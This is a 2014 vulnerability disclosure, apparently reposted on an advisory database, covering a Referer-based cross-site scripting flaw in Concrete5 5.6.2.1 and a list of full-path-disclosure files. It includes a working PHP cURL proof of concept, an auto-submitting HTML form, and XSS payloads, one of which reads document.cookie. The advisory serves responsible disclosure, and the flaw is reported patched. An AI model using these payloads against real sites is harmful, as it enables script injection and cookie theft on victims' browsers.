Concrete 5.6.2.1 REFERER Cross Site Scripting

🗓️ 16 Jul 2014 00:00:00Reported by Osanda MalithType
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Concrete 5.6.2.1 Referer Based XSS vulnerability disclosed and patche
`Title: Concrete 5.6.2.1 Referer Based XSS   
Vendor: http://www.concrete5.org/  
Researched by: Osanda Malith Jayathissa (@OsandaMalith)  
E-Mail: osanda[cat]unseen.is  
Website: http://osandamalith.wordpress.com  
  
I. BACKGROUND  
-------------------------  
Concrete5 is a light weight power CMS in which you can create web sites on the go.  
  
  
II. Referer Based XSS   
-------------------------  
  
The download page takes the input from the referer header for returning the value for the   
"Back" button and hence it is not properly sanitized in getting input.  
  
\concrete\single_pages\download_file.php  
  
line 9,  
  
$returnURL = ($_POST['returnURL']) ? $_POST['returnURL'] : $_SERVER['HTTP_REFERER'];  
  
- Proof of concept  
-------------------------  
  
- This is the automated POC in PHP.  
  
<?php  
  
echo geturl('http://localhost/conc/concrete5.6.2.1/index.php/download_file', '"><script>prompt("XSS")</script>');  
  
function geturl($url, $referer) {   
  
$headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml';   
$headers[] = 'Connection: Keep-Alive';   
$headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';   
$useragent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';   
$process = curl_init($url);   
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);   
curl_setopt($process, CURLOPT_HEADER, 0);   
curl_setopt($process, CURLOPT_USERAGENT, $useragent);  
curl_setopt($process, CURLOPT_REFERER, $referer);  
curl_setopt($process, CURLOPT_TIMEOUT, 30);   
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);   
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);   
  
$return = curl_exec($process);   
curl_close($process);   
  
return $return;   
}   
  
?>  
  
- We can also inject into referer header like this. But works only with IExplorer since other web browsers encode the URL.  
  
<html>  
<body>  
<form id="exploit" name="exploit" method="GET"  
action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">  
</form>  
<script>  
document.getElementById("exploit").submit();  
</script>  
</body>  
</html>  
  
- Save it as "xss.htm" and pass the payload like this so that this would be taken as the referer.  
http://localhost/xss.htm?"><svg/onload=alert(document.cookie);>//  
  
III. Full Path Disclosures  
----------------------------  
  
concrete/single_pages/dashboard/system/basics/editor.php  
concrete/single_pages/dashboard/system/view.php  
concrete/single_pages/dashboard/system/environment/file_storage_locations.php  
concrete/single_pages/dashboard/system/mail/importers.php  
concrete/single_pages/dashboard/system/mail/method.php  
concrete/single_pages/dashboard/system/permissions/file_types.php  
concrete/single_pages/dashboard/system/permissions/files.php  
concrete/single_pages/dashboard/system/permissions/tasks.php  
concrete/single_pages/dashboard/system/permissions/users.php  
concrete/single_pages/dashboard/system/seo/view.php  
concrete/single_pages/dashboard/view.php  
concrete/single_pages/dashboard/users/attributes.php  
concrete/single_pages/dashboard/scrapbook/view.php  
concrete/single_pages/dashboard/pages/attributes.php  
concrete/single_pages/dashboard/files/attributes.php  
concrete/single_pages/dashboard/files/search.php  
  
IV. Disclosure Time Line  
-------------------------  
2014-03-16: Responsibly disclosed to the vendor (Vendor's website too was affected)  
- Patched in 5.6.3 and the latest versions  
- https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/  
`
16 Jul 2014 00:00Current
0.2Low risk
Vulners AI Score0.2